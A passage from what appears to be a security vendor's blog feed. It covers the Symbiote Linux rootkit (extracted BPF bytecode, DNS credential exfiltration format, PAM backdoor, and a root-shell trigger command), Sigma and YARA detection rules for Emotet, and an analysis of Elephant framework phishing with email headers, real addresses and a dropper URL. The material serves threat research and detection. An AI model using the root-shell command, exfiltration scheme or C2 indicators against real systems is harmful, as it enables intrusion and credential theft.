0x08: 0x15 0x16 0x00 0xaae9 jeq r0, 0xaae9, +0x16 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x09: 0x15 0x15 0x00 0xf7c0 jeq r0, 0xf7c0, +0x15 (jump to 0x1f) ; 63424
; Jump to drop the packet if port 26424.
0x0a: 0x15 0x14 0x00 0x6738 jeq r0, 0x6738, +0x14 (jump to 0x1f) ; 26424
; Load TCP dst port into register.
0x0b: 0x28 0x00 0x00 0x0038 ldabsh 0x38
; Jump to drop packet if port 43253 else jump to 0x1c.
0x0c: 0x15 0x12 0x0f 0xa8f5 jeq r0, 0xa8f5, +0xf12 (jump to 0x1f) (jump to 0x1c) ; 43253
; Ether frame type check for IPv4 (0x0800)
0x0d: 0x15 0x00 0x12 0x0800 jeq r0, 0x800, +0x1200 (jump to 0x20)
; Load IPv4 next header field into register.
0x0e: 0x30 0x00 0x00 0x0017 ldabsb 0x17
; Short jump if SCTP.
0x0f: 0x15 0x02 0x00 0x0084 jeq r0, 0x84, +0x2 (jump to 0x12) ; SCTP
; Short jump if TCP.
0x10: 0x15 0x01 0x00 0x0006 jeq r0, 0x6, +0x1 (jump to 0x12) ; TCP
; Jump to original byte code if UDP.
0x11: 0x15 0x00 0x0e 0x0011 jeq r0, 0x11, +0xe00 (jump to 0x20) ; UDP
; Load IPv4 flag into register.
0x12: 0x28 0x00 0x00 0x0014 ldabsh 0x14
; Jump to original byte code if flags are set.
0x13: 0x45 0x0c 0x00 0x1fff jset r0, 0x1fff, +0xc (jump to 0x20)
; Load Internet Header Length into x.
0x14: 0xb1 0x00 0x00 0x000e ldxmsh 0x0e
; Load TCP src port into register.
0x15: 0x48 0x00 0x00 0x000e ldindh r0, 0xe
; Jump to drop the packet if port 43253.
0x16: 0x15 0x08 0x00 0xa8f5 jeq r0, 0xa8f5, +0x8 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x17: 0x15 0x07 0x00 0xaae9 jeq r0, 0xaae9, +0x7 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x18: 0x15 0x06 0x00 0xf7c0 jeq r0, 0xf7c0, +0x6 (jump to 0x1f) ; 63424
; Jump to drop the packet if port 26424.
0x19: 0x15 0x05 0x00 0x6738 jeq r0, 0x6738, +0x5 (jump to 0x1f) ; 26424
; Load TCP dst port into register.
0x1a: 0x48 0x00 0x00 0x0010 ldindh r0, 0x10
; Jump to drop the packet if port 43253.
0x1b: 0x15 0x03 0x00 0xa8f5 jeq r0, 0xa8f5, +0x3 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x1c: 0x15 0x02 0x00 0xaae9 jeq r0, 0xaae9, +0x2 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x1d: 0x15 0x01 0x00 0xf7c0 jeq r0, 0xf7c0, +0x1 (jump to 0x1f) ; 63424
; Jump to drop packet if true otherwise jump to original byte code.
0x1e: 0x15 0x00 0x01 0x6738 jeq r0, 0x6738, +0x100 (jump to 0x20); 26424
; Drop packet by returning 0.
0x1f: 0x06 0x00 0x00 0x0000 ret 0
0x20: // Original byte code.

Code Snippet 1: Annotated bytecode extracted from one of the Symbiote samples.

The third method Symbiote uses to hide its network traffic is to hook libpcap functions. This method is used by the malware to filter out UDP traffic to domain names it has in a list. It hooks the functions pcap_loop and pcap_stats to accomplish this task. For each packet that is received, Symbiote checks the UDP payload for substrings of the domains it wants to filter out. If it finds a match, the malware ignores the packet and increments a counter. The pcap_stats uses this counter to “correct” the number of packets processed by subtracting the counter value from the true number of packets processed. If a packet payload does not contain any of the strings it has in its list, the original callback function is called. This method is used to filter out UDP packets, while the bytecode method is used to filter out TCP packets. By using all three of these methods, the malware ensures that all traffic is hidden.

Symbiote Objectives

The malware’s objective, in addition to hiding malicious activity on the machine, is to harvest credentials and to provide remote access for the threat actor. The credential harvesting is performed by hooking the libc read function. If an ssh or scp process is calling the function, it captures the credentials. The credentials are first encrypted with RC4 using an embedded key, and then written to a file. For example, one of the versions of the malware writes the captured credentials to the file /usr/include/certbot.h.

In addition to storing the credentials locally, the credentials are exfiltrated. The data is hex encoded and chunked up to be exfiltrated via DNS address (A) record requests to a domain name controlled by the threat actor. The A record request has the following format:

%PACKET_NUMBER%.%MACHINE_ID%.%HEX_ENC_PAYLOAD%.%DOMAIN_NAME%

Code Snippet 2: Structure of DNS request used by Symbiote to exfiltrate data.

The malware checks if the machine has a nameserver configured in /etc/resolv.conf. If it doesn’t, Google’s DNS (8.8.8.8) is used. Along with sending the request to the domain name, Symbiote also sends it as a UDP broadcast.

Remote access to the infected machine is achieved by hooking a few Linux Pluggable Authentication Module (PAM) functions. When a service tries to use PAM to authenticate a user, the malware checks the provided password against a hardcoded password. If the password provided is a match, the hooked function returns a success response. Since the hooks are in PAM, it allows the threat actor to authenticate to the machine with any service that uses PAM. This includes remote services such as Secure Shell (SSH).

If the entered password does not match the hardcoded password, the malware saves and exfiltrates it as part of its keylogging functionality. Additionally, the malware sends a DNS TXT record request to its command-and-control (C2) domain. The TXT record has the format of %MACHINEID%.%C2_DOMAIN%. If it gets a response, the malware base64 decodes the content, checks if the content has been signed by a correct ed25519 private key, decrypts the content with RC4, and executes the shell script in a spawned bash process. This functionality can operate as a break-glass method for regaining access to the machine in case the normal process doesn’t work.

Once the threat actor has authenticated to the infected machine, Symbiote provides functionality to gain root privileges. When the shared object is first loaded, it checks for the environment variable HTTP_SETTHIS. If the variable is set with content, the malware changes the effective user and group ID to the root user, and then clears the variable before executing the content via the system command.

This process requires that the SO has the setuid permission flag set. Once the system command has exited, Symbiote also exits the process, to prevent the original process from executing. Figure 3 below shows the code executed. This allows for spawning a root shell by running HTTP_SETTHIS="/bin/bash -p" /bin/true as any user in a shell.

Figure 3: Logic used to execute a command with root privileges.

Network Infrastructure

The domain names used by the Symbiote malware are impersonating some major Brazilian banks. This suggests that these banks or their customers are the potential targets. Using the domain names utilized by the malware, we managed to uncover a related sample that was uploaded to VirusTotal with the name certbotx64. This file name matches one of those listed as a file to hide in one of the Symbiote samples we originally obtained. The file was identified as an open-source DNS tunneling tool called dnscat2.

The sample had a configuration in the binary that used the git[.]bancodobrasil[.]dev domain as its C2 server. During the months of February and March, this domain name resolved to an IP address that is linked to Njalla’s Virtual Private Server (VPS) service. Passive DNS records showed that the same IP address was resolved to ns1[.]cintepol[.]link and ns2[.]cintepol[.]link a few months earlier. Cintepol is an intelligence portal provided by the Federal Police of Brazil. The portal allows police officers to access different databases provided by the federal police as part of their investigations. The nameserver used for this impersonating domain name was active from the middle of December 2021 to the end of January 2022.

Also starting in February of 2022, the name servers for the domain caixa[.]wf were pointing to another Njalla VPS IP. Figure 4 below shows a timeline of these events. In addition to the network infrastructure, the timestamps of when the files were submitted to VirusTotal are included. These three Symbiote samples were uploaded by the same submitter from Brazil. It appears that the files were submitted to VirusTotal before the infrastructure went online.

Given that these files were submitted to VirusTotal prior to the infrastructure going online, and because some of the samples included rules to hide local IP addresses, it is possible that the samples were submitted to VirusTotal to test Antivirus detection before being used. Additionally, a version that appears to be under development was submitted at the end of November from Brazil, further suggesting VirusTotal was being used by the threat actor or group behind Symbiote for detection testing.

Figure 4: Timeline showing when files were submitted to VirusTotal and when network infrastructure went active.

Similarity to Other Malware

Symbiote appears to be designed for both credential stealing and to provide remote access to infected Linux servers. Symbiote is not the first Linux malware developed for this goal. In 2014, ESET released an in-depth analysis of Ebury, an OpenSSH backdoor that also performs credential stealing. There are some similarities in the techniques used by both malware families. Both use hooked functions to capture credentials and exfiltrate the captured data as DNS requests. However, the authentication method to the backdoor used by the two malware families is different. When we first analyzed the samples with Intezer Analyze, only unique code was detected (Figure 5). As no code is shared between Symbiote and Ebury/Windigo or any other known malware, we can confidently conclude that Symbiote is a new, undiscovered Linux malware.

Figure 5: Intezer analysis of a Symbiote sample showing only genes classified as Symbiote.

Conclusion

Symbiote is a malware that is highly evasive. Its main objective is to capture credentials and to facilitate backdoor access to infected machines. Since the malware operates as a userland level rootkit, detecting an infection may be difficult. Network telemetry can be used to detect anomalous DNS requests and security tools such as antivirus (AVs) and endpoint detection and response (EDRs) should be statically linked to ensure they are not “infected” by userland rootkits.

Indicators of Compromise (IoCs)

Hashes

Hash Notes
121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924 "kerneldev.so.bkp." Appears to be an early development build.
f55af21f69a183fb8550ac60f392b05df14aa01d7ffe9f28bc48a118dc110b4c "mt64_.so." Missing credential exfiltration over DNS.
ec67bbdf55d3679fca72d3c814186ff4646dd779a862999c82c6faa8e6615180 "search.so." First sample with credential exfiltration of DNS.
a0cd554c35dee3fed3d1607dc18debd1296faaee29b5bd77ff83ab6956a6f9d6 "liblinux.so."
45eacba032367db7f3b031e5d9df10b30d01664f24da6847322f6af1fd8e7f01 "certbotx64." dnscat2

Ports Hidden

Domains Hidden

assets[.]fans
caixa[.]cx
dpf[.]fm
bancodobrasil[.]dev
cctdcapllx0520
cctdcapllx0520[.]df[.]caixa
webfirewall[.]caixa[.]wf
caixa[.]wf

Process Names Hidden

javaserverx64
javaclientex64
javanodex86
apache2start
apache2stop
[watchdog/0]
certbotx64
certbotx86
javautils

File Names Hidden

apache2start
apache2stop
profiles.php
404erro.php
javaserverx64
javaclientex64
javanodex86
liblinux.so
java.h
open.h
mpt86.h
sqlsearch.php
indexq.php
mt64.so
certbot.h
cert.h
certbotx64
certbotx86
javautils
search.so

Credential Exfil Domains

*.x3206.caixa.cx
*.dev21.bancodobrasil.dev

SOC Level Up: Threat Hunting and Detection With Sigma

Tue, 17 May 2022 00:00:00 +0000

In the last part of the SOC Level Up series, we introduced Sigma – an open-source framework to write one rule that can be used in multiple environments. In this blog, we will show how Sigma rules can be used for threat hunting and detection.

Security teams and especially SOC analysts are overwhelmed with data while attack surfaces are growing and cyber attackers find new ways to breach organizations while staying undetected, making the security team’s difficulties more painful. The solution might sound obvious – have a well-defined security posture to prevent threats from getting into the system, but with the constantly evolving threat landscape and existing pain points of security teams, this is easier said than done. Therefore, it is critical to proactively hunt and detect threats in the organization, for any incidents in which the threat bypassed all of the security measures and infiltrated the environment.

How Sigma Can Help in Threat Hunting

To detect threats you need to know what is happening in the environment, which can be accomplished using logs and monitoring tools (which are based on logs too). But these days the issue is that there are too many logs – too much information – that SOC analysts and security teams are not capable of analyzing and processing them all. So SIEM platforms came to help, providing the ability to aggregate, query, and extract important information from the logs. Essentially making it possible to proactively hunt for threats inside the organization.

While security tools are evolving, so do cyber attackers. This progression makes threat detection even more significant and forces the security community to further evolve the hunting and detection strategy. The new and more advanced approach to threat hunting is detection engineering – a process of constantly evolving and tuning to detect threats before they cause significant damage. In a way it requires a change in the mindset, you need to see the traces left by a threat as detection opportunities and use them to detect the threat in your organization.

Sigma is a universal markup language for analyzing logs, allowing you to write rules for detecting a threat based on the threat’s detection opportunities. The flexibility of Sigma rules makes it possible to use detection rules created by other members of the security community and utilize them in your organization, since the rule can be compiled for any SIEM and log source.

Below, we will show how to identify detection opportunities in blogs or security tools, and how to use this information to create your own detection rules using Sigma.

How to Use Sigma Rules For Threat Hunting

Creating detection rules is not an easy task, for two main reasons.

First, you need to find indicators that can be used to detect the threat, either by performing an analysis of existing samples of the threat or by locating them in technical reports and threat intelligence feeds. Frequently the detection information is “hidden” among the rest of the details. Either way, it requires time and effort to find useful information that can be used in detection rules.

The other difficulty is making an efficient rule, one that will not trigger false positive alerts and is not too strict to avoid miss detection of threats. Detection rules are made of different indicators of compromise and behavior artifacts, all of which can be arranged in what is known as the Pyramid of Pain (created by David J Bianco). The idea is to organize attack indicators in ascending order based on the “pain” it will cause the attackers when these indicators are detected and denied from them by security tools. But the more harm it will cause the attacker, the harder it is for security teams to identify these indicators.

For example, a file’s hash is the easiest indicator to find and to detect but it is also trivial for threat actors to modify it simply by changing one bit in a file. On the other hand, detecting a threat based on its behavior (TTPs) requires more effort from the security team – they need to execute the threat in a sandbox and understand its execution flow. But for threat actors, it is also much harder to change the behavior of the threat and stay undetected.

Pyramid of Pain by David J Bianco

Using Sigma to Write Detection Rules for Emotet

Let’s take a look at Emotet – a dangerous malware that has been operating since 2014. Despite the arrests and the efforts of law enforcement in January 2021, the malware is still operating. Emotet started as a banking information stealer, but it kept evolving during its time of operation and became a full-scale cybercrime organization that is also able to deploy other threats into compromised systems.

Usually, the chain of execution that drops Emotet consists of a phishing email with attached decoy document that tricks the user to click a link or just open the file allowing the execution of malicious code that leads to Emotet execution.

Our goal is to write detection rules for Emotet, so let’s take a look at a recently discovered sample of Emotet. We will use oleid and olevba to discover the macros embedded in the file (for more information, check out this blog about analyzing malicious Office files).

From this short analysis, we know that the malicious document will execute commands using cmd and it will use a signed binary called MSHTA to download and execute code from a given URL. Using legitimate and signed binaries is a very common technique used by threat actors – you can read more about how to detect MSHTA and related techniques here.

In general, the process tree of the threat execution provides very useful detection indicators. We can get even more information by executing the sample in a sandbox environment and inspecting the process tree as shown below.

Process tree of the sample election in Intezer.

We will use the following information to make a basic Sigma rule:

The sample connects to the IP address 91.240.118[.]16
URL: http://91.240.118[.]168/zzx/ccv/fe.html
The processes that are executed are excel.exe -> cmd.exe -> mshta.exe

title: Emotet document execution detection
author: Intezer
logsource:
 category: process_creation
 product: windows
detection:
 selection1:
 ParentImage:
 - 'excel.exe'
 Image:
 - 'cmd.exe'
 CommandLine|contains:
 - 'mshta'
 condition: selection1

Detection rule for Emotet based only on process execution.

This rule is based exactly on the information we have found in our analysis making the rule very strict (for instance we detect only the cmd process that was executed by Excel, so if the threat actor tries using Word instead of Excel we will miss the execution). In some cases we will want to keep our rule strict to avoid false positives, in other cases it can be useful to add relevant information. For example, in some cases Emotet uses Word documents so we can extend the rule to include detection of cmd processes that execute Word, Excel, and PowerPoint. This way the detection will cover other variants of the threat. A good example of a rule that covers more variants of shell execution by Office software is a rule created by Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team called proc_creation_win_office_shell.yml.

title: Emotet Download IP
author: Intezer
logsource:
 category: firewall
detection:
 select_outgoing:
 dst_ip:
 - '91.240.118.16'
 condition: select_outgoing

Detection rule for Emotet server based on the IP address from the sample.

title: Emotet IP addresses
author: Intezer
logsource:
 category: webserver
detection:
 selection1:
 c-uri|contains: 'http://91.240.118.168/zzx/ccv/fe.html'
 condition: selection1

Detection rule for Emotet based on the URL from the sample.

We used two networking indicators in our detection rule, but there are many resources with information that we can use to enhance our Emotet detection indicators (including GitHub and Twitter).

There is a “But”

Emotet is a threat that is constantly evolving not only its features but also its infrastructure which is based on botnets that deliver the malware to victims’ systems, allowing the attackers to constantly change the domains and the IP addresses of these servers. As described in the Pyramid of Pain, mentioned above, it is relatively easy for attackers to change the hashes and IP addresses once they are detected by security tools and organizations. This makes some of the detection rules useless as the indicators are not relevant anymore.

Our goal is to have solid detection rules that will not produce false positive alerts and will help protect the organization. We need to make our Sigma rules more advanced, to catch variants within a malware family like Emotet.

Take the Detection Opportunities a Step Further

To be able to detect Emotet and similar threats that evolve, we need to find the detection indicators that are shared among the malware family. This detection strategy will produce alerts that are specific for a certain threat, because we will use indicators that are part of the threat’s behavior and were used more than once.

To implement this approach we will need to have information about the connections between samples of the same malware family, and identify detection indicators that are common in a specific malware family.

Intezer offers this capability, with a proprietary code reuse database that also extracts valuable information about the detection indicators of different malware samples.

In the next section here, we will show how to build Sigma rules using detection indicators that are shared among several samples of the same threat.

Let’s examine another Excel file that delivers Emotet:

Analysis of Emotet.

The file was executed in Intezer’s sandbox and its behavior was analyzed allowing the platform to extract detection indicators. In this file we have 24 indicators total and five of them were previously seen in other Emotet samples. The indicators of this file can produce good detection rules as they are based on the execution process, which is a key part of the malware. This reduces the chances of the threat actor changing these indicators (unlike file names or URLs that are easy to change).

We can use the information provided by Intezer to produce the following Sigma rule:

title: Emotet vbs execution detection
author: Intezer
logsource:
 category: process_creation
 product: windows
detection:
 selection1:
 ParentImage:
 - 'excel.exe'
 Image:
 - 'wscript.exe'
 CommandLine|contains:
 - 'vbs'
 condition: selection1

Emotet detection rule based on indicators that are common in the Emotet family.

title: Emotet family file creation detection
author: Intezer
logsource:
 product: windows
 category: file_event
detection:
 filename:
 TargetFilename|endswith:
 - 'Application DataMicrosoftFormsEXCEL.box'
 condition: filename

Emotet detection based on indicators that are common in the Emotet family.

Both rules are based on behavior that was seen in different samples of Emotet. We can make the first rule even more strict by using specific commands and file names in the CommandLine specification. The second rule is based on a file that is seen in Emotet samples – while it might look like a false positive, based on our observations this file can be used as a good indication of malicious activity caused by Emotet.

Recently Intezer added detection opportunities per family to allow you to stay ahead of emerging threats. This feature allows users to get all of the detection artifacts that were seen in a specific family and combined with Intezer’s API allows users to extract up-to-date behavioral artifacts, so you can create rules to proactively hunt for the existence of a threat within your organization and create updated detection rules.

Family page view for Emotet in an enterprise account, showing the relevant detection opportunities.

Conclusion

Creating good and efficient detection rules is a form of art. There could be more than one “correct” way to write a rule from the same indicators. But at the end of the day, our goal is to detect threats and stop them and for that we need to know which indicators are unique to a specific threat and less likely to change among the variants of the malware.

You can get IoCs, artifacts, and other detection opportunities for creating Sigma rules using Intezer.

How to Write YARA Rules That Minimize False Positives

Thu, 12 May 2022 00:00:00 +0000

Generate Advanced YARA Rules Based on Code Reuse

Incorporating YARA into daily security operations can accelerate incident response time, classify malware, empower threat intelligence and improve detection capabilities by creating custom signatures.

While YARA is a popular tool for SOC and IR teams, the main challenge is deciding what to base your YARA rules on for maximum effectiveness. In this post, we will explain how identifying code reuse between malicious files can be used to automatically develop advanced YARA rules to increase the accuracy of malware detection, reduce false positives, and improve threat hunting capabilities.

What Are YARA Rules?

YARA, short for “yet another recursive acronym,” is a tool used in malware detection and classification. Malware researchers leverage YARA to create descriptions of malware families based on textual or binary patterns. Each description, or signature, is a YARA “rule” consisting of a set of strings and a boolean expression to determine its logic. When written effectively, YARA rules identify commonalities in malware and classify malicious files to other forms of malware that display similar patterns. More advanced YARA rules can be used to find additional variants of malware and hunt for samples. (Click here to jump down to examples of code-based YARA rules.)

While most security vendors use their own signature mechanisms, YARA is an open standard tool which can be used with many platforms and applied to different use cases. For example, YARA enables an organization to create detections of its own, which is relevant for identifying targeted malware that generic or classic signatures often struggle to detect.

This poses a significant advantage for security teams since they do not need to wait for signature updates from their security vendors. Security teams can create personalized, sophisticated YARA signatures even for targeted attacks and custom created malware.

The Challenges in Writing Effective YARA Rules

The vast majority of YARA rules available today are simple-based rules focused on string reuse found in a malware’s binary. Strings can include a log message or hard-coded user agent, which are criteria not guaranteed to be unique. Therefore they can result in false positives and can be easily replaced or encrypted by the adversary to avoid detection.

The most effective YARA rules are designed to achieve high detection and classification rates while reducing the number of false positives. Researchers must select the right textual or binary patterns to optimize detection results and accurately classify a file to its respective malware family. This is difficult because files share hundreds and even thousands of strings and it is imperative that rules are not too generic nor too specific.

For example, if a researcher is defining a YARA rule based on a file that contains an embedded library, and the rule is based on the generic library alone – which is not a malicious piece of code in itself – the researcher will receive a hit on every single file that uses this library, in other words increasing the number of false positives generated.

The ideal signature will have the right balance: broad enough to identify many variants of the malware but specific enough to avoid false positives.

Here’s an example:

The above example represents a file that has been disassembled into tiny pieces of binary code, or genes. If a YARA rule is created based on the file’s trusted code (green), many false positives will be generated.

On the other hand, ensuring a YARA signature is not too specific is also important. Taking a piece of code as it is, for example, and developing a rule that contains all of the code’s addresses will make the YARA rule very specific to this particular file only. The rule will not likely generate hits for other or future variants of the malware that contain different values.

Writing Advanced YARA Rules is Difficult to Scale

More complex YARA rules can be created by incorporating features such as wild cards (a type of hexadecimal string), case-insensitive strings, and regular expressions. While advanced YARA rules can be powerful instruments for detecting malware, writing them requires a high degree of technical ability and an understanding of YARA, and can be a time-consuming process.

Writing advanced YARA rules and malware analysis in general is difficult to scale at high volumes, especially since not every organization has access to a team of highly-skilled researchers or reverse engineers. How can a security team create advanced YARA rules and still achieve automation, especially if the organization is faced with a high volume of alerts? The answer lies in studying patterns in code reuse.

Defining Code Reuse

Almost every software or malware today contains previously written code. Developers of trusted applications will employ code reuse to make their work more efficient and to bring tools to market faster. The same approach applies for malware authors. As attackers write more malware they will establish code patterns. For defenders, this provides an opportunity for attribution and identifying threat actor capabilities.

Genetic analysis of threats breaks down a given file into thousands of tiny fragments of code, or genes. Identifying code that was used in previous attacks can provide critical insights for security teams, including:

Accurately determining the intent of the software. For example, is the file trusted or malicious?
Classifying a malicious file to its relevant malware family.
Uncovering the level of sophistication and potential risk of the threat. For example, are you dealing with a common banking trojan, a sophisticated APT or a nation-state sponsored attack? The answer will shape your response.
Making attribution to the threat actor responsible for creating the malware.

Not only can studying patterns in code reuse identify the origin of any given file, it can highlight unique, never-before-seen code, which can detect new threats that have been written from scratch.

Generate Automatic, Advanced YARA Rules with Code Reuse

Just as attackers reuse code to deploy new malware, defenders can identify patterns in code reuse to create advanced YARA rules. Here’s how:

By identifying a malicious file’s unique binary code, a signature can be produced for detecting only those genes. This will enable detection of the exact same malware with high confidence and a low false positive rate.
Detecting samples of the same variants (the same opcodes with different addresses) can be replaced with wildcards.
Detecting different variants of the same malware family or campaign (same baseline of code but with different functionalities or capabilities) to look for a partial match.
Detecting future variants that the attacker may release based on code reuse.

Let’s look at that example again:

As demonstrated in the previous example, creating a YARA rule based on a file’s trusted code will result in false positives. At the same time, developing a rule that contains all of the code’s addresses will make the rule very specific to this particular file only. The rule will not likely generate hits for other or future variants of the malware that contain different values.

By identifying the malicious (red) and unique code (purple), a researcher can create a YARA rule that will achieve very accurate results. With a YARA rule based on code reuse, you can expect to:

Receive hits on different hashes that contain the exact same code.
Receive hits on different hashes that contain some but not all of the original code. This is useful for identifying new variants that are similar to the malware that the signature is based on.

Example YARA Rule for Emotet Malware

The following example demonstrates a code-based YARA rule produced for Emotet, a common financial trojan. With the code-based YARA signature in place, any future sample or variant that reuses some aspects of Emotet’s code will be detected.

Example YARA rule, generated by Intezer to detect Emotet.

Intezer analysis of Emotet, with red box highlighting the button to generate a code-based YARA signature (SHA256: 5f2aa0bb76749cce2c13c1049521a3e70389c773632245e1f915ca6c522d1402)

Example YARA Rule for WannaCry Variant2

This is an example of a YARA signature that was produced via code from a WannaCry sample. Deployed in May 2017, WannaCry was one of the largest, high profile ransomware attacks in history, infecting over 200,000 computers across 150 countries.

Example YARA rule for WannaCry.

Genetic analysis of WannaCry in Intezer Analyze (SHA256: bf293bda73c5b4c1ec66561ad20d7e2bc6692d051282d35ce8b7b7020c753467)

Generating YARA Rules with Intezer Analyze

Leveraging proprietary genetic code analysis technology, Intezer Analyze can generate automatic YARA signatures based on a file’s code, enabling users to improve their threat hunting capabilities by detecting future variants of the malware. As highlighted above, code-based YARA signatures can effectively reduce false positives and save precious resources in the form of time and analyst efforts. This is particularly valuable for organizations dealing with a large volume of alerts.

You can also use Detect & Hunt to find file-based detection opportunities for creating new YARA rules. You can filter these detection opportunities by the artifact type, family, and verdict.

NanoCoreRAT sample, SHA256: 0689544cd227b93df10df4d99ea04270d0f9f76259aa34cb8f6707a02e70081d

This feature also allows for some more advanced usages. It can be used in several scenarios, including:

The user can adjust the thresholds of the rule. The default value is 70% of the entire code but it is possible to modify the rule to be more specific, or more flexible.
The user can combine or split different YARA signatures to build stronger rules to better fit his or her needs.
The user can add to the automated rules with a string reuse feature to make the signature even more powerful for threat hunting.

Key Takeaways for Writing Effective Rules

Incorporating YARA into daily security operations can accelerate incident response time, classify malware, empower threat intelligence and improve detection capabilities by creating custom signatures.
Traditional methods for writing effective YARA signatures have their challenges, including being too specific or generic with respect to a file’s textual or binary patterns.
In today’s YARA landscape many signatures are based on string reuse. The challenge is to identify the “unique” strings, however even if this is achieved, these signatures are much less effective because strings can be easily manipulated, replaced or encrypted by the adversary to avoid detection.
Identifying malicious code seen in previous threats can be used to generate more accurate YARA signatures for detecting future variants or new malware.
The Intezer Analyze platform enables users to automatically generate YARA rules based on binary code, rather than simple strings. Code-based YARA rules are the most effective since they are tolerant to modifications and are more equipped to detect variants of the same threat.

Elephant Framework Delivered in Phishing Attacks Against Ukrainian Organizations

Mon, 04 Apr 2022 00:00:00 +0000

A recently developed malware framework called Elephant is being delivered in targeted spear phishing campaigns using spoofed Ukrainian governmental email addresses. The four malware components delivered are used for stealing credentials, documents, and to provide remote access to the infected machine.

Two of these components were first reported on by the Computer Emergency Response Team for Ukraine (CERT-UA) in March 2022. They named the two components GraphSteel and GrimPlant. When investigating these events, we have identified that Elephant has also been delivered via phishing emails from spoofed Ukrainian email addresses. Elephant is a malware framework written in Go. The activity has been attributed to UAC-0056 (TA471, SaintBear, UNC2589) by CERT-UA.

Background

On March 12, the CERT-UA published an alert on a threat about phishing emails sent on behalf of state bodies of Ukraine that urged the recievers to update the system by using a link provided in the email. Once the user opens the link two files are downloaded, one is Cobalt Strike Beacon the other is a dropper that will download and execute two additional files. These additional files are base64 encoded, the files saved as: microsoft-cortana.exe (classified as GraphSteel) and oracle-java.exe (GrimPlant backdoor). The attack used Discord as a hosting server for the additional payload that was downloaded.

On March 15, SentinelOne found two more samples of the GraphSteel and GrimPlant malware families. These samples written in Go were dropped by an executable that was disguised as a translation application. The new samples are similar to those published by the CERT-UA, both in the naming and the functionality.

On March 28, CERT-UA published another alert about phishing emails with an attached “xls” file. The subject of the email and the file name are both “Wage arrear”. The attached file had macros that, once executed, created a file called Base-Update.exe – a malware that downloads and executes two other files classified as GraphSteel and GrimPlant by the CERT.

Phishing Email

The subject of the email: Заборгованість по зарплаті (arrears in wages).
The email was sent from zam@mdfi.gov.ua to ilenko@gng.com.ua.
The sender domain mdfi.gov.ua belongs to the Mykolayiv Regional Phytosanitary Laboratory.
The receiver is the Head of Department of Technical Supply in OKKO Group, one of the largest filling stations in Ukraine, this person is in charge of the gas stations chain.
Based on the headers of the email: the email was sent from 87.249.139.161 (hosting web server located in Turkey).

Return-Path: <zam@mdfi.gov.ua>
Received: from hosting30.ukrnames.com (hosting30.ukrnames.com [217.182.197.11])
by mx-fm0.gng.com.ua with ESMTP id 22RJjl16017368-22RJjl18017368
(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO)
for <ilenko@gng.com.ua>; Sun, 27 Mar 2022 22:45:47 +0300
Received: from [87.249.139.161] (port=15731 helo=WIN3ISR1T95E6Qwwwtendawificom)
by hosting30.ukrnames.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.95)
(envelope-from <zam@mdfi.gov.ua>)
id 1nYYot-00AQaf-Gj
for ilenko@gng.com.ua;
Sun, 27 Mar 2022 22:45:47 +0300
MIME-Version: 1.0
From: "zam@mdfi.gov.ua" <zam@mdfi.gov.ua>
Reply-To: zam@mdfi.gov.ua
To: ilenko@gng.com.ua
...
X-Mailer: Smart_Send_4_4_2
Date: Sun, 27 Mar 2022 12:44:30 -0700
Message-ID: <127804766552081718123841@WIN-3ISR1T95E6Q>
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - hosting30.ukrnames.com
X-AntiAbuse: Original Domain - gng.com.ua
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - mdfi.gov.ua
X-Get-Message-Sender-Via: hosting30.ukrnames.com: authenticated_id: zam@mdfi.gov.ua
X-Authenticated-Sender: hosting30.ukrnames.com: zam@mdfi.gov.ua
X-Source:
X-Source-Args:
X-Source-Dir:
X-FE-Attachment-Name: =?UTF-8?B?x+Dh7vDj7uLg7bPx8vwg7+4g5+Dw7+vg8rMueGxz?=
X-FEAS-SBL: 87.249.139.161 score 1
X-FE-Policy-ID: 2:1:4:gng.com.ua
X-FE-Orig-Env-Rcpt: ilenko@gng.com.ua
X-FE-Orig-Env-From: zam@mdfi.gov.ua
X-FEAS-Client-IP: 217.182.197.11

While reviewing the email’s transport path, we noticed that the domain mdfi.gov.ua did not have a configured SPF record to prevent email spoofing. An SPF record is used to restrict which IP addresses are allowed to send emails for a specific domain. If this record is not set, any IP address is technically allowed to send emails using that domain name. Some email providers do warn when they receive an email from an address that doesn’t have an SPF record. The screenshot below shows the warning message displayed in GMail when reading such email.

Our theory is that the threat actor exploited this vulnerability to send spoofed phishing emails to their targets. We reported the issue to CERT-UA.

We followed the sender IP address and found three other emails: two emails submitted on March 29 from Ukraine targeting ICTV, a Ukrainian TV channel and the third email was submitted in February from Romania. The emails that target UA have the same subject and use the same attached xls file that delivers the first malicious payload.

The Elephant Framework

The malware that is dropped by the phishing lure is the dropper component of what we call the “Elephant Framework.” The framework consists of four components that work in unison. The code snippet below shows a reconstruction of the source code tree, bold indicating folders, showing how the different components have been organized. The location of the implant’s entrypoint is unknown and has been guessed to be in the root folder. As there are also server components to the framework, we hypothesize that there are more folders for the two servers used by the framework.

Dropper Component

While called the dropper in the framework, this component does not have an embedded payload. Instead it is technically a downloader that fetches the next stage called the “downloader.” The next stage is downloaded from the URL hxxp://194.31.98.124:443/i and saved to the user’s home directory (%HOME%/.java-sdk/java-sdk.exe). The next stage is executed with the command line flag -a 0CyCcrhI/6B5wKE8XLOd+w==, base64 and AES encrypted information about the C2 server.

Downloader Component

The “downloader” acts as an orchestrator for the other components. In addition to downloading the “client” and the “implant” components, it also sets up persistence and can perform updates. Like all the other components, before any malicious activity is taken it performs some evasion techniques. The difference between this component and the others is that this one is using code from the ColdFire project on GitHub. The screenshot below shows the malware using the Wait function to sleep for 10 seconds before allocating 200 mb of garbage data.

Persistence is established by adding a new key entry with the name Java-3DK to the registry key SoftwareMicrosoftWindowsCurrentVersionRun. After this, the malware checks if a new binary exists by comparing its MD5 hash with a hash from the server. If no update is needed, it downloads the other two components.

